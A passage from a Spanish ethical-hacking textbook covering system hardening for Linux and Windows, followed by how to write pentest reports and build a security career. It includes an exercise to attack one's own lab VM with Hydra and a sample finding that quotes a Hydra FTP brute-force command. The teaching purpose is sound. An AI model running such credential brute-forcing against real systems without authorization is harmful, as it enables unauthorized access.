Actualizaciones: configura actualizaciones automáticas de seguridad. En Debian/Ubuntu (base de Kali): el paquete `unattended-upgrades` las aplica solo. Verifica regularmente con `apt update && apt upgrade`.

Usuarios y contraseñas: lista usuarios (`cat /etc/passwd`), elimina o bloquea los innecesarios (`userdel`, `usermod -L`), verifica que no haya usuarios con UID 0 además de root, revisa el grupo sudo (`getent group sudo`), exige contraseñas fuertes (Unidad 6) y considera expiración en cuentas temporales.

SSH seguro (el servicio más atacado): edita `/etc/ssh/sshd_config`: deshabilita login de root (`PermitRootLogin no`), cambia el puerto solo como medida menor (no es seguridad real, pero reduce ruido), usa solo autenticación por clave (`PasswordAuthentication no`) si puedes, limita usuarios (`AllowUsers`), usa protocolo 2, y protege con fail2ban (bloquea IPs con muchos intentos fallidos). Reinicia el servicio tras cambios.

Firewall: `ufw` (Uncomplicated Firewall) en Debian/Ubuntu lo hace simple: política por defecto denegar entrante, permitir saliente, y abrir solo lo necesario (`ufw allow 22/tcp`). Verifica con `ufw status verbose`. Un firewall bien configurado es la puerta vigilada de tu fortaleza.

Servicios: lista qué escucha en tu red (`ss -tulpn`), investiga cada línea y deshabilita lo innecesario (`systemctl disable --now servicio`). Si no sabes qué es un servicio, investigalo antes de apagarlo en producción; en tu laboratorio, apaga y observa qué se rompe (snapshot primero, Unidad 2).

Permisos de archivos: los archivos sensibles (`/etc/shadow`, claves SSH) deben ser legibles solo por root. Revisa permisos extraños con `find / -perm -4000` (binarios setuid: potentes y peligrosos si son innecesarios).

Logs y monitoreo: el sistema registra todo en `/var/log/`. Revisa `auth.log` (intentos de login), instala fail2ban para bloqueo automático, y considera un monitoreo de integridad (AIDE/Tripwire avisan si archivos críticos cambian sin autorización).

Respaldos: el hardening incluye poder recuperarte: respaldos automáticos, probados (un respaldo no probado no es un respaldo), y al menos una copia fuera del equipo. El ransomware (Unidad 5/7) se derrota con respaldos buenos.

Hardening de Windows (estaciones y servidores)

Actualizaciones: Windows Update al día, sin pausas eternas. En empresas, WSUS o políticas de actualización centralizadas.

Cuentas: deshabilita la cuenta de invitado y renombra/deshabilita el Administrador integrado si no se usa; cada persona con su cuenta (no compartir el "admin"); UAC activado (esos avisos molestos son una barrera real); contraseñas con política de dominio o local.

Servicios y características: deshabilita SMBv1 (protocolo antiguo explotado por WannaCry), PowerShell sin restricciones solo donde se necesite, macros de Office deshabilitadas por defecto (vector clásico de malware), AutoRun desactivado en USBs (baiting, Unidad 7).

Firewall de Windows: activado en los tres perfiles (dominio, privado, público); reglas de entrada restrictivas; el perfil "público" agresivo cuando te conectas fuera.

Defender y antimalware: Microsoft Defender activado y actualizado es una base sólida; complementa con EDR en empresas. Protección contra ransomware (acceso controlado a carpetas) activada.

BitLocker: cifrado de disco completo. Si roban la laptop, sin la clave los datos son basura cifrada. En portátiles con datos sensibles es obligatorio.

Auditoría: activa el registro de inicios de sesión y cambios relevantes (directivas de auditoría); revisa el Visor de eventos periódicamente.

Guías de referencia: CIS Benchmarks

No tienes que inventar el hardening desde cero: los CIS Benchmarks son guías gratuitas y detalladas con cientos de recomendaciones verificables por sistema operativo y aplicación. Los profesionales los usan como checklist. Descarga el de tu sistema, aplícalo por niveles (Level 1: seguro sin romper nada; Level 2: más estricto) y documenta excepciones. Citar "endurecido según CIS Benchmark" en un informe (Unidad 10) es lenguaje profesional.

Verificación: auditar tu propio hardening

Endurecer sin verificar es suponer. Herramientas: Lynis (auditoría de seguridad para Linux, gratuita, te da puntaje y recomendaciones concretas), Microsoft Baseline Security Analyzer / Security Compliance Toolkit para Windows, y tus propios escaneos: vuelve a correr Nmap contra tu sistema endurecido y compara el antes y después (menos puertos = éxito). Documenta la mejora: "puertos abiertos: 12 -> 3; servicios innecesarios deshabilitados: 9".

El equilibrio: seguridad vs usabilidad

El sistema más seguro del mundo es el apagado y bajo llave, pero inútil. El hardening profesional equilibra: protege sin impedir el trabajo. Si tu medida de seguridad hace que la gente la rodee (contraseñas imposibles que terminan en post-its, VPN tan lenta que usan su red personal), la medida fracasa. Diseña controles que la gente pueda y quiera seguir, y mide: ¿la medida redujo incidentes sin frenar el trabajo? Esa es la métrica real.

Marco ético de la unidad

Todo lo de esta unidad se aplica a tus sistemas o a sistemas que administras con autorización. "Endurecer" el equipo de alguien sin su permiso (aunque sea "para ayudar") puede romper su trabajo y su confianza. En empresas, los cambios de hardening se prueban primero en ambientes no productivos y se aplican en ventanas de mantenimiento. El profesional no improvisa en producción.

Errores comunes

Endurecer de más y romper servicios legítimos sin plan de reversión: prueba en laboratorio primero.

Aplicar guías a ciegas sin entender cada cambio: si algo falla no sabrás qué revertir.

Olvidar documentar la configuración base: sin "antes", no puedes medir el "después" ni revertir.

Descuidar los respaldos: el mejor hardening no sirve si un incidente te deja sin recuperación.

Pensar que el hardening es de una sola vez: cada cambio, cada instalación nueva y cada actualización reabre la pregunta. Es un hábito, no un proyecto.

Ejemplos paso a paso

Practica en tu Kali o en una VM Ubuntu/Debian de laboratorio. Snapshot antes de empezar.

Ejemplo 1: Radiografía inicial (antes del hardening)

```
# ¿Qué escucha mi máquina en la red?
sudo ss -tulpn

# ¿Qué servicios están activos?
systemctl list-unit-files --state=enabled | head -30

# Usuarios con shell (pueden iniciar sesión)
grep -v "nologin" /etc/passwd | grep -v "false"

# Guarda esta radiografía: es tu "antes"
sudo ss -tulpn > ~/laboratorio/antes-hardening.txt
cat ~/laboratorio/antes-hardening.txt
```

Ejemplo 2: Firewall con UFW (la puerta vigilada)

```
# Instalar y configurar (Debian/Ubuntu/Kali)
sudo apt install -y ufw

# Política: denegar todo lo entrante, permitir lo saliente
sudo ufw default deny incoming
sudo ufw default allow outgoing

# Abrir solo lo necesario (ejemplo: SSH)
sudo ufw allow 22/tcp

# Activar y verificar
sudo ufw enable
sudo ufw status verbose

# Prueba: desde otra VM intenta conectar a un puerto no abierto: debe fallar.
```

Ejemplo 3: Endurecer SSH (el servicio más atacado)

```
# Edita la configuración (haz copia primero)
sudo cp /etc/ssh/sshd_config ~/laboratorio/sshd_config.respaldo
sudo nano /etc/ssh/sshd_config
# Ajusta estas líneas (descomenta/agrega):
# PermitRootLogin no
# PasswordAuthentication no    (solo si ya tienes clave configurada)
# AllowUsers tu_usuario
# MaxAuthTries 3
# Guarda (Ctrl+O, Enter, Ctrl+X) y reinicia:
sudo systemctl restart ssh
# Verifica que puedes entrar ANTES de cerrar tu sesión actual
# (abre una segunda terminal y prueba: si algo falló, reviertes).
```

Ejemplo 4: fail2ban (el guardia automático)

```
# Instala y activa: bloquea IPs con muchos intentos fallidos
sudo apt install -y fail2ban
sudo systemctl enable --now fail2ban

# Ver el estado y los bloqueados
sudo fail2ban-client status
sudo fail2ban-client status sshd

# Prueba controlada: desde tu otra VM falla 5 logins SSH a propósito
# y verifica que tu IP aparece bloqueada. Luego desbloquea:
sudo fail2ban-client set sshd unbanip 10.0.2.15

# LECCIÓN: esto es lo que derrota a Hydra (Unidad 6) en el mundo real.
```

Ejemplo 5: Auditoría con Lynis (tu examen de hardening)

```
# Instalar y correr auditoría del sistema
sudo apt install -y lynis
sudo lynis audit system --quick | tee ~/laboratorio/lynis-antes.txt

# Al final da un "Hardening index" (puntaje) y una lista de
# sugerencias ordenadas. Aplica 5 sugerencias, repite la auditoría
# y compara puntajes: documenta la mejora en tu cuaderno.
```

Ejemplo 6: Respaldo básico (la red de seguridad)

```
# Respaldo simple de tus archivos importantes con rsync
mkdir -p ~/respaldos
rsync -av --delete ~/laboratorio/ ~/respaldos/laboratorio/

# Verifica que el respaldo sirve: lista su contenido y abre un archivo.
# Regla: si no lo verificas, no cuenta como respaldo.
# Ideal: automatízalo con cron y guarda copia en otro medio.
```

Profundización: hardening avanzado y respuesta

sysctl: endureciendo el kernel de Linux

El kernel se ajusta en `/etc/sysctl.conf`: desactiva el enrutamiento IP si no eres router (`net.ipv4.ip_forward=0`), ignora pings de broadcast, activa protección contra SYN flood (`net.ipv4.tcp_syncookies=1`), ignora redirecciones ICMP sospechosas y registra IPs de origen imposible (martians). Son 10 líneas que cierran abusos clásicos de red. Aplica con `sysctl -p` y documenta cada cambio: en producción se prueban primero en laboratorio.

auditd y AIDE: ojos en el sistema

auditd registra eventos del sistema con reglas finas (quién leyó `/etc/shadow`, quién cambió un binario crítico). AIDE/Tripwire crean una base de datos de huellas de archivos críticos y te avisan si algo cambió sin autorización (señal clásica de intrusión). Configúralos en servidores importantes: son tu sistema de alarma interno. Revisa sus reportes con regularidad: una alarma que nadie mira no protege.

AppArmor/SELinux: jaulas para programas

Son sistemas de control de acceso obligatorio: confinan cada programa a lo estrictamente necesario, así que aunque un servicio sea vulnerado, el daño queda encerrado. Ubuntu trae AppArmor (perfiles por aplicación, más amable); Red Hat trae SELinux (más potente, más complejo). No los desactives "porque estorban": aprende a leer sus logs y a ajustar perfiles. Desactivarlos por comodidad es quitarle los barrotes a la jaula.

Windows avanzado: GPO, PowerShell y LAPS

En dominios Windows, las Directivas de Grupo (GPO) aplican hardening a cientos de equipos desde un punto central: políticas de contraseñas, firewall, auditoría, restricciones de software. PowerShell es tu navaja: audita configuraciones en masa (`Get-` cmdlets`), y su modo Constrained Language limita lo que puede hacer un atacante que lo capture. LAPS gestiona contraseñas únicas y rotadas del administrador local en cada equipo (adiós al "mismo admin en todas"). Si administras Windows en empresa, estos tres son tu trío de poder.

CIS Benchmarks: aplicándolos en la práctica

Descarga el benchmark de tu sistema ([cisecurity.org](https://www.cisecurity.org), gratuitos con registro). Trabaja por niveles: Level 1 (seguro sin romper funcionalidad: aplícalo todo), Level 2 (más estricto: evalúa caso por caso). Por cada recomendación: entiende qué hace, aplícala, verifica que el servicio sigue funcionando y documenta excepciones justificadas ("no aplicamos X porque el software Y lo requiere, mitigado con Z"). Un informe que diga "endurecido según CIS Benchmark vX, 95% de cumplimiento, excepciones documentadas" es lenguaje que los auditores respetan.

Estrategia de respaldos 3-2-1

3 copias de tus datos, en 2 medios distintos, 1 fuera del sitio. Ejemplo: original + disco externo + nube cifrada. Automatiza (cron/rsync, herramientas del sistema), cifra los respaldos (un respaldo robado sin cifrar es una filtración), y prueba restauraciones cada trimestre (simulacro, Unidad 9 Ejercicio 6). Frente al ransomware, el 3-2-1 probado es la diferencia entre "incidente controlado" y "desastre".

Contención básica: si sospechas intrusión

No apagues todo a lo loco (destruyes evidencia). Pasos: 1) aísla el equipo de la red (desconecta cable/deshabilita Wi-Fi) pero no lo apagues si puedes (la memoria tiene evidencia); 2) no sigas "investigando" en el equipo comprometido (el atacante puede verte); 3) avisa al responsable de seguridad o a un profesional; 4) preserva logs (cópialos a otro medio); 5) documenta qué viste y cuándo. La respuesta a incidentes es una disciplina completa; esto es el mínimo viable para no empeorar las cosas.

Endurecimiento de aplicaciones comunes

Más allá del SO: el servidor web (desactiva módulos innecesarios, oculta versiones, cabeceras de seguridad), la base de datos (sin acceso remoto innecesario, usuarios con mínimo privilegio, sin cuentas por defecto), y el correo (SPF/DKIM/DMARC, filtrado de spam/malware).

Cada aplicación tiene su guía de hardening: búscala del fabricante y aplícala. El SO endurecido con aplicaciones descuidadas es una fortaleza con la bodega abierta.

Glosario de la unidad

Bastionado/hardening: endurecimiento del sistema. Superficie de ataque: puntos expuestos. CIS Benchmark: guía de configuración segura. GPO: directivas centralizadas de Windows. RTO/RPO: tiempo objetivo de recuperación / pérdida máxima aceptable. Contención: aislar un incidente.

Práctica

Ejercicio 1: Antes y después

Toma la radiografía del Ejemplo 1, aplica UFW + deshabilita 3 servicios innecesarios, y toma la radiografía de nuevo. Documenta la diferencia: puertos cerrados, servicios apagados.

Solución: Tu documento debe mostrar menos líneas en `ss -tulpn` después. Por cada servicio deshabilitado anota qué era y por qué no lo necesitas. Si algo que usabas dejó de funcionar, reactívalo y anota la lección: el hardening se prueba. Este antes/después es evidencia profesional de mejora.

Ejercicio 2: SSH a prueba de Hydra

Endurece SSH (Ejemplo 3) + fail2ban (Ejemplo 4) y luego atácate con Hydra desde tu otra VM (Unidad 6). ¿Logra entrar? ¿Qué ves en los logs?

Solución: Hydra debe ser bloqueado tras pocos intentos (fail2ban) y, si desactivaste passwords, ni siquiera tiene qué probar. En `/var/log/auth.log` verás los intentos y el bloqueo. Conclusión para tu informe: "con estas dos medidas, un ataque de diccionario en línea queda neutralizado". Eso es defensa en profundidad funcionando.

Ejercicio 3: Lynis, de puntaje a plan

Corre Lynis, elige las 10 sugerencias más relevantes y conviértelas en un plan de hardening de una página: acción, prioridad y verificación.

Solución: Prioriza por impacto/esfuerzo: lo fácil y de alto impacto primero (permisos, servicios, actualizaciones). Cada acción debe decir cómo verificarás que funcionó. Si tu plan es ejecutable en una tarde y verificable, es bueno. Repite Lynis al final y anota tu nuevo puntaje.

Ejercicio 4: Política de actualizaciones

Escribe la política de parches para una pequeña empresa: frecuencia, responsables, ventanas, qué se actualiza automático y qué manual, y plan si un parche rompe algo.

Solución: Debe incluir: parches de seguridad críticos en máximo 72h (o automático), ventana mensual de mantenimiento para el resto, responsable designado, prueba en equipo piloto antes de despliegue masivo, y plan de reversión (respaldos/snapshots previos). Si cubre "qué, quién, cuándo y qué si falla", está completa.

Ejercicio 5: Endurece tu Windows (o el de un familiar, con permiso)

Aplica en un Windows real: actualiza todo, revisa cuentas, activa firewall en perfil público, desactiva SMBv1, activa BitLocker si hay datos sensibles, y configura bloqueo automático de pantalla.

Solución: Documenta cada cambio. Lo más valioso suele ser: quitar programas preinstalados innecesarios, activar BitLocker en laptops y enseñar el Win+L (bloqueo). Si lo haces en el equipo de un familiar con su permiso, estás haciendo hacking ético en la vida real.

Ejercicio 6: Simulacro de recuperación

Borra (en tu laboratorio) un archivo importante de `~/laboratorio`` y recupéralo desde tu respaldo del Ejemplo 6. Mide cuánto tardaste.

Solución: Si lo recuperaste en minutos, tu respaldo funciona. Si no pudiste, mejor descubrirlo en un simulacro que en un incidente real: corrige tu proceso de respaldo ahora. Documenta el tiempo: es tu RTO (tiempo de recuperación) casero, un concepto profesional.

Caso práctico integral: de servidor expuesto a fortaleza (proyecto guiado)

Vamos a tomar un servidor Linux de laboratorio (una VM Ubuntu/Debian fresca) y llevarlo de "recién instalado" a "endurecido y verificado", documentando todo. Es el proyecto que demuestra que dominas la unidad.

Etapas 0: Línea base. Instalación mínima, sin extras. Radiografía: ``ss -tulpn``, servicios activos, usuarios, Lynix inicial (anota el puntaje: será tu "antes"). Snapshot "base".

Etapas 1: Actualizar y limpiar. ``apt update && apt upgrade -y``, ``unattended-upgrades`` configurado. Desinstala lo innecesario (¿para qué un servidor web necesita juegos o

Bluetooth?). Deshabilita servicios sobrantes uno por uno, verificando que nada necesario se rompa.

Etapas 2: Usuarios. Revisa `/etc/passwd`: bloquea o elimina lo innecesario, verifica grupo sudo, establece política de contraseñas (longitud 12+), y crea tu usuario administrativo con sudo (no trabajes como root).

Etapas 3: SSH. Aplica el endurecimiento del Ejemplo 3 (sin root, solo claves, AllowUsers, MaxAuthTries) + fail2ban. Verifica atacándote con Hydra desde tu otra VM: documenta el bloqueo.

Etapas 4: Red. UFW: denegar entrante por defecto, abrir solo lo necesario (22 y lo que tu servicio requiera). sysctl: SYN cookies, sin forward, sin redirects raros. Verifica con Nmap desde fuera: compara puertos antes/después.

Etapas 5: Archivos y monitoreo. Permisos de `/etc/shadow` y claves, `find` de setuid innecesarios, instala y configura AIDE (base inicial) y auditd con reglas básicas. Activa respaldos automáticos de `/etc` y datos (y prueba restaurar uno).

Etapas 6: Verificación final. Lynis de nuevo: compara puntajes (documenta la mejora). Nmap completo: menos puertos. Revisa tu checklist CIS Level 1: marca cumplidos y excepciones justificadas.

Etapas 7: Informe de hardening. 3 páginas: estado inicial (con números), acciones aplicadas (con comandos clave), estado final (puntajes, puertos, verificaciones) y mantenimiento recomendado (qué revisar cada mes). Este informe va directo a tu portafolio: demuestra proceso completo, no solo comandos sueltos.

Repite el proyecto cada 6 meses con una versión nueva del sistema: el hardening se practica, no se memoriza.

Calendario de mantenimiento de un sistema endurecido

Diario (automático): actualizaciones de seguridad, monitoreo de logs con alertas. Semanal: revisión de alertas y de intentos bloqueados (¿patrones nuevos?), verificación de respaldos. Mensual: revisión de usuarios y permisos, re-escaneo ligero de puertos, revisión de certificados próximos a vencer. Trimestral: auditoría Lynis completa, prueba de restauración de respaldos, revisión de excepciones CIS. Anual: revisión de arquitectura (¿sigue siendo necesario cada servicio?), rotación de claves y credenciales. Imprímelo y pégalo donde administres sistemas: lo programado se cumple, lo improvisado se olvida.

Endureciendo tu vida digital (aplica todo a ti)

Tu laptop personal merece el mismo trato: sistema actualizado, firewall activo, cifrado de disco (BitLocker/FileVault/LUKS), contraseñas con gestor + MFA, respaldos 3-2-1, bloqueo automático a los 5 minutos, y revisión de apps con permisos excesivos. Hazlo esta semana: un profesional con su propia laptop desprotegida pierde credibilidad (y datos).

Cuando heredas un sistema desconocido (auditoría exprés)

Te contratan y te dan un servidor que nadie documentó. Protocolo de 2 horas: 1) radiografía (puertos, servicios, usuarios, versiones), 2) buscar lo obvio (credenciales por defecto, servicios innecesarios, parches pendientes), 3) revisar logs recientes (¿intentos de intrusión?), 4) verificar respaldos (¿existen? ¿funcionan?), 5) informe exprés de 1 página con top 5 riesgos y plan. No intentes entenderlo todo el primer día: primero estabiliza y asegura, luego profundiza. Este protocolo te salva en el mundo real más de lo que crees.

Taller avanzado: hardening Windows a fondo y contenedores

Windows: las 15 medidas que más protegen

1. Actualizaciones al día, sin pausas indefinidas.
2. Cuenta de invitado deshabilitada; administrador integrado renombrado/deshabilitado si no se usa.
3. UAC al máximo tolerable.
4. Cada persona con su cuenta; nada de "admin" compartido.
5. Política de contraseñas (longitud 12+, bloqueo tras intentos).
6. SMBv1 desactivado (Panel > Características de Windows).
7. Macros de Office bloqueadas por defecto (solo firmadas).
8. AutoRun/AutoPlay desactivado en USB.
9. Firewall activo en perfil público agresivo.
10. Defender con protección en tiempo real + protección contra ransomware (acceso controlado a carpetas).
11. BitLocker en portátiles (guarda la clave de recuperación fuera del equipo).
12. PowerShell Constrained Language donde no se necesite completo.
13. Escritorio remoto (RDP) desactivado si no se usa; si se usa, con MFA vía VPN, nunca directo a internet.
14. Auditoría de inicios de sesión activada (Visor de eventos > directivas).
15. Programas: desinstala bloatware y lo innecesario; menos software, menos parches, menos riesgo.

Aplica estas 15 a tu Windows (o al de un familiar, con permiso) en una tarde: es el "proyecto guiado" de Windows equivalente al servidor Linux de esta unidad.

PowerShell para auditores (lo esencial)

```
# Versión y política de ejecución
$PSVersionTable.PSVersion
Get-ExecutionPolicy

# ¿Qué escucha mi Windows?
Get-NetTCPConnection -State Listen | Select LocalAddress, LocalPort, OwningProcess

# Servicios activos no-Microsoft (candidatos a revisar)
Get-Service | Where-Object {$_.Status -eq 'Running'} | Select Name, DisplayName |
head -30

# Usuarios locales y administradores
Get-LocalUser | Select Name, Enabled, LastLogon
Get-LocalGroupMember -Group "Administradores"

# Últimos parches instalados
Get-HotFix | Sort-Object InstalledOn -Descending | Select -First 10

# Firewall: perfiles activos
Get-NetFirewallProfile | Select Name, Enabled
```

Con estos 6 bloques haces la radiografía de cualquier Windows en 10 minutos. Guárdalos como script ``ps1`` de auditoría exprés.

Contenedores y Docker: hardening moderno (panorama)

Las empresas modernas corren apps en contenedores (Docker): son "cajitas" aisladas con lo mínimo para correr la app. Reglas de hardening: usa imágenes oficiales y mínimas (Alpine en vez de Ubuntu completo), no corras como root dentro del contenedor (``USER`` en el Dockerfile), actualiza las imágenes base con frecuencia (tienen sus propios CVEs: escanéalas con herramientas como Trivy), no montes el socket de Docker dentro de contenedores, y limita recursos y capacidades. No necesitas dominar Docker hoy; pero cuando audites infraestructura moderna, estas 5 reglas son tu checklist inicial.

La nube en una página (lo que debes saber)

En la nube (AWS, Azure, Google) rige el modelo de responsabilidad compartida: el proveedor asegura la infraestructura física; TÚ aseguras tu configuración (quién accede, qué está público, claves). La mayoría de las filtraciones en la nube son buckets de almacenamiento públicos por error o claves expuestas, no "hackeos" sofisticados. Checklist mínimo: MFA en la

cuenta raíz/admin, nada público salvo lo intencional, claves rotadas y nunca en código, y alertas de actividad anómala. Si tus clientes usan nube, audita su configuración: es un servicio con gran demanda.

Endurecer impresoras y dispositivos de red (los olvidados)

Impresoras, cámaras, NAS y switches tienen sistema operativo, web de administración y credenciales de fábrica: son computadoras olvidadas. Aplica el mismo ritual: cambia credenciales, actualiza firmware, desactiva servicios innecesarios (¿la impresora necesita FTP?), aíslalas en su segmento de red si puedes, y revisa sus logs. La impresora sin contraseña de la Unidad 4 no es chiste: ha sido puerta de entrada real en incidentes.

Resumen de la unidad

Hardening es reducir lo innecesario y asegurar lo necesario: mínimo privilegio, menos superficie de ataque, defensa en profundidad y actualización constante. En Linux: actualiza, gestiona usuarios, endurece SSH (sin root, con claves), firewall UFW denegando por defecto, deshabilita servicios sobrantes, revisa permisos y logs, usa fail2ban y respalda. En Windows: actualiza, gestiona cuentas y UAC, desactiva SMBv1 y macros, firewall por perfiles, Defender activo, BitLocker en portátiles y auditoría de eventos. Guíate con CIS Benchmarks, verifica con Lynis y tus propios escaneos, y equilibra seguridad con usabilidad. Prueba en laboratorio antes de producción y documenta el antes y después.

En la Unidad 10 cerrarás el círculo profesional: cómo convertir todo tu trabajo en un informe que un cliente pague con gusto, y cómo construir tu carrera en ciberseguridad.

UNIDAD 10: Reporte de hallazgos y tu carrera en ciberseguridad

Llegaste a la última unidad, y es la que más dinero vale. Puedes ser un genio encontrando vulnerabilidades, pero si no sabes comunicarlas, tu trabajo no existe para el cliente. El informe es el producto real de un pentest: es lo que el cliente lee, lo que justifica tu pago y lo que guía las correcciones. Un gran hallazgo mal reportado se ignora; un hallazgo medio bien reportado se corrige. Esta unidad te enseña a escribir informes profesionales y, además, a convertir todo lo aprendido en una carrera: certificaciones, portafolio, primeros clientes y ética de por vida.

Piénsalo así: el médico no solo diagnostica, explica el diagnóstico al paciente en lenguaje que entienda y le da un tratamiento claro. Tú harás lo mismo: tu informe tiene dos audiencias, el directivo que decide presupuestos y el técnico que aplica parches, y debes hablarle bien a los dos.

Explicación detallada

Por qué el reporte es el verdadero producto

El cliente no te paga por "hackear": te paga por saber qué está mal y cómo arreglarlo, con evidencia y priorización. El reporte es también tu protección legal: documenta qué hiciste, dentro de qué alcance y qué encontraste. Y es tu carta de presentación: un informe claro y profesional genera recompras y recomendaciones; uno confuso o lleno de jerga, no.

Un buen informe tiene tres cualidades: es claro (lo entiende un no técnico en el resumen y un técnico en el detalle), es accionable (cada hallazgo dice exactamente qué hacer), y es honesto (reporta lo encontrado, bueno y malo, sin exagerar ni minimizar).

Estructura profesional de un informe de pentest

Portada: título, cliente, fechas, consultor, clasificación de confidencialidad ("CONFIDENCIAL").

Índice: navegable, con secciones numeradas.

Resumen ejecutivo (1-2 páginas, lenguaje no técnico): qué se evaluó, cuál es el estado general de seguridad (una calificación o semáforo), los 3-5 hallazgos más críticos en lenguaje de negocio ("un atacante podría robar la base de clientes"), y la recomendación general. El director solo leerá esto: debe bastar para decidir.

Alcance y metodología: qué sistemas se probaron (IPs, URLs, fechas), qué estaba excluido, qué metodología se siguió (las 5 fases de la Unidad 1) y qué herramientas se usaron. Esto da credibilidad y delimita responsabilidad.

Hallazgos detallados (el corazón técnico): uno por vulnerabilidad, cada uno con: título claro, severidad (Crítica/Alta/Media/Baja), descripción (qué es y dónde está), evidencia (capturas, comandos y salidas que lo prueban, sin datos sensibles reales), impacto (qué podría hacer un atacante), y recomendación concreta (cómo corregirlo, con pasos o versión exacta). Ordenados de mayor a menor severidad.

Recomendaciones generales: patrones observados ("varias vulnerabilidades vienen de falta de parches: implementen gestión de parches") y hoja de ruta sugerida.

Conclusión: estado general, próximos pasos (re-test tras correcciones) y ofrecimiento de apoyo.

Anexos: salidas de escaneos, detalle de herramientas, glosario. Lo técnico pesado va aquí, no en el cuerpo.

Cómo escribir severidades que se entiendan

No basta con "Alta": explica el porqué en una línea de impacto de negocio. Compara: "Vulnerabilidad alta en el servidor web" vs "Vulnerabilidad ALTA: el servidor web expone la base de datos de clientes a internet sin autenticación; un atacante automatizado podría descargarla hoy mismo. Corrección: actualizar X a la versión Y y restringir acceso por firewall (2 horas de trabajo)". La segunda se corrige; la primera se archiva. Cada hallazgo debe responder: ¿qué es?, ¿qué tan grave?, ¿qué pasa si no se corrige?, ¿cómo se corrige y cuánto cuesta?

Evidencia sin exponer: el arte del reporte seguro

Tus capturas y logs prueban el hallazgo, pero pueden contener datos sensibles (contraseñas, datos personales). Buenas prácticas: censura (tacha) datos sensibles en capturas; nunca incluyas contraseñas reales en el informe; si la evidencia incluye datos personales, descríbela ("se accedió a 3 registros de ejemplo, censurados") en vez de mostrarla; entrega el informe por canal seguro (no por correo sin cifrar); y marca cada página como confidencial. La confidencialidad del informe es parte de tu ética (Unidad 1).

La reunión de cierre: presentar hallazgos

El informe se entrega y se presenta. Prepara una presentación de 20 minutos: estado general, top 5 hallazgos con impacto de negocio, demostración controlada de uno (impacta más verlo que leerlo), y plan de corrección. Anticipa preguntas difíciles: "¿esto es urgente?" (responde con riesgo, no con miedo), "¿cuánto cuesta arreglarlo?" (estima esfuerzo), "¿estamos peor que otras empresas?" (compara con buenas prácticas, no con chismes). Nunca uses la presentación para presumir lo listo que eres vulnerando: el protagonista es el cliente y su mejora.

El re-test: cerrar el ciclo

Tras las correcciones, verificas (re-test): repites las pruebas de los hallazgos para confirmar que desaparecieron. Solo entonces el hallazgo se marca "corregido y verificado". Este servicio de seguimiento es profesional, genera ingresos recurrentes y es lo que convierte un pentest en un programa de mejora continua. Sin re-test, el ciclo queda abierto (Unidad 5).

Tu carrera: el mapa de ruta

La ciberseguridad tiene más vacantes que profesionales: es un gran momento para entrar. Rutas comunes:

- Empleado: analista SOC (monitoreo), pentester junior en consultora, administrador de seguridad. Requiere: fundamentos (este libro), algo de experiencia demostrable y certificaciones básicas.
- Freelance/consultor: pentests para pymes, auditorías, capacitación. Requiere: portafolio, reputación y habilidades comerciales además de técnicas.
- Bug bounty: cazar vulnerabilidades por recompensa de forma independiente. Requiere: constancia y especialización (web, móvil, etc.).
- Especialización: forense digital, respuesta a incidentes, seguridad en la nube, seguridad ofensiva avanzada (red team).

Certificaciones que sí pesan

Security+ (CompTIA): la puerta de entrada más reconocida; valida fundamentos. Ideal como primera certificación.

CEH (Certified Ethical Hacker): muy conocida comercialmente; teórica. Útil para currículum, menos para habilidad práctica.

PNPT, eJPT: certificaciones prácticas y más económicas para empezar en pentesting real.

OSCP (OffSec): la más respetada en pentesting práctico; exigente (examen de 24h hackeando máquinas). Meta a mediano plazo, no para empezar.

CISSP: para roles senior/gestión; requiere experiencia demostrable.

Consejo: una certificación sin práctica no vale; práctica sin certificación cuesta más entrar. Combina: este libro + laboratorio documentado + una certificación inicial (Security+ o eJPT) es un perfil contratable.

Tu portafolio: demuestra, no declares

Los empleadores creen en evidencia. Construye:

- Laboratorio documentado: tus mapas, escaneos, informes de práctica (anonimizados) en un repositorio o blog.
- Write-ups: documenta máquinas de práctica (de plataformas legales como HackTheBox, TryHackMe) explicando tu metodología.
- Informes de ejemplo: un informe completo ficticio pero profesional (usa tu laboratorio) muestra que sabes entregar.
- Contribuciones: reportes responsables en programas bug bounty, participación en comunidades, charlas locales.

Nunca incluyas en tu portafolio datos reales de clientes ni técnicas contra sistemas no autorizados: un portafolio con material cuestionable te descalifica instantáneamente.

Primeros clientes y precios (realidad)

Empieza con negocios pequeños: auditorías Wi-Fi + contraseñas + informe (este libro te da el paquete completo). Precios: investiga tu mercado local; un pentest profesional serio toma días y se cobra por alcance y no por hora suelta barata. Regla: nunca regales trabajo que implique responsabilidad ("te lo reviso gratis" sin alcance firmado es riesgo legal). Cobra lo justo, entrega excelente y pide testimonios: los primeros 3 clientes definen tu reputación.

Ética de por vida

Cierro el libro donde empezó: tu carrera se construye sobre confianza. Un solo incidente ético (filtrar datos de un cliente, usar accesos para beneficio propio, exagerar hallazgos para vender) destruye años de reputación. La comunidad de seguridad es pequeña y la reputación

viaja rápido. Sé el profesional al que le confían las llaves del reino: confidencial, honesto, competente y en aprendizaje permanente.

Marco ético de la unidad

Los informes contienen información sensible: trátalos como tal siempre. No uses hallazgos de clientes como ejemplos públicos sin anonimización total y permiso. Y en tu carrera: rechaza trabajos que te pidan actuar sin autorización o fuera de la ley, por mucho que paguen. El dinero fácil en este campo suele ser delito.

Errores comunes

Informe lleno de jerga que el directivo no entiende: dos lenguajes, dos secciones.

Hallazgos sin recomendación concreta: "hay un problema" sin "así se arregla" no sirve.

Exagerar severidades para impresionar: cuando todo es "crítico", nada es creíble.

No hacer seguimiento: el valor está en la mejora, no en el susto inicial.

Quemar etapas en la carrera: querer el OSCP sin fundamentos es frustración garantizada. Paso a paso.

Ejemplos paso a paso

Ejemplo 1: Plantilla de hallazgo (la unidad atómica del informe)

HALLAZGO #1

Título: Servidor FTP con autenticación débil expone archivos internos

Severidad: ALTA

Sistema afectado: 10.0.2.6:21 (servidor de laboratorio)

Descripción:

El servicio FTP permite autenticación con credenciales débiles (usuario y contraseña triviales). Un atacante en la red local puede acceder a los archivos compartidos sin conocimientos avanzados.

Evidencia:

[Captura 1: sesión FTP exitosa con credenciales débiles - censurada]

Comando: `hydra -l [usuario] -P [lista] ftp://10.0.2.6 -> credencial válida`

Impacto:

Lectura y escritura de archivos del servidor; posible punto de apoyo para ataques a otros sistemas de la red.

Recomendación:

1. Deshabilitar FTP y migrar a SFTP con autenticación por clave.
2. Si FTP es imprescindible: credenciales robustas + restricción por IP.
3. Estimación: 2-4 horas de trabajo.

Referencias: [política interna de credenciales]

Estado: PENDIENTE DE CORRECCIÓN

Copia esta plantilla y úsala para cada hallazgo de tus prácticas. Es el formato que verás en informes reales.

